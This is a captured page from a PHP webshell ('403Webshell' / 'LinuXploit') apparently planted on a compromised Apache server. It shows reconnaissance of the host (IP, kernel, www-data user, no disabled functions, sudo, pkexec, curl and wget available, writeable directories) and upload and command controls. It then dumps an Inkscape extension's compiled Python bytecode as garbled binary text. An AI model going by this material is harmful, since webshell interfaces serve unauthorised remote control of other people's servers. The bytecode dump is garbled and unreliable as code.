403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/__pycache__/convert2dashes.cpython-310.pyc
o

0�a��@sPdZddlZddlmZmZmZmZGdd�dej�Zedkr&e��	�dSdS)zy
This extension converts a path into a dashed line using 'stroke-dasharray'
It is a modification of the file addnodes.py
�N)�bezier�CubicSuperPath�Group�PathElementcs<eZdZdZ�fdd�Zdd�Zdd�Zedd	��Z�Z	S)
�Dashitz/Extension to convert paths into dash-array linecstt|���g|_dS)N)�superr�__init__�
not_converted)�self��	__class__��0/usr/share/inkscape/extensions/convert2dashes.pyrs
zDashit.__init__cCsL|jjD]}|�|�q|jr$t�td��t|j���t�	|j�dSdS)Nz*Total number of objects not converted: {}
)
�svg�	selection�convert2dashr	�inkex�errormsg�_�format�len�debug)r
�noder
r
r�effect#s��z
Dashit.effectcCsPt|t�r|D]}|�|�qdSt|t�r|�|�dS|j�|�d��dS)z'Convert each selected node's dash array�idN)�
isinstancerrr�_convertr	�append�get)r
r�childr
r
rr,s
�
zDashit.convert2dashcCs�g}d}|j}d|vr |d�d�dkr dd�|d�d�D�}d|vr(|d}|s,dSg}|j��D]�}d}|d}t|�}||krW||}|dt|�}||}||ksC|�|ddd�g�d}	|	t|�kr�||}t�	|dd||	�}||kr�t�
|dd||	||�\|dd<}
||	<|d	r�|�|
dd�g�n|d�|
dd��||}|dt|�}||}||ks|d	r�|�||	g�n	|d�||	�|	d7}	|	t|�kskq3|�d�|�d
�t|�|_||_dS)Nrzstroke-dasharray�,cSsg|]}t|��qSr
)�float)�.0�dashr
r
r�
<listcomp>=sz#Dashit._convert.<locals>.<listcomp>zstroke-dashoffset�����z
sodipodi:type)
�style�find�split�path�to_superpathr!rrr�cspseglength�cspbezsplitatlength�popr)r�dashes�offsetr(�new�sub�idashr#�length�i�nxtr
r
rr6sZ���
��



zDashit._convert)
�__name__�
__module__�__qualname__�__doc__rrr�staticmethodr�
__classcell__r
r
rrrs	
r�__main__)
r;rrrrr�EffectExtensionrr8�runr
r
r
r�<module>sG�

Youez - 2016 - github.com/yon3zu
LinuXploit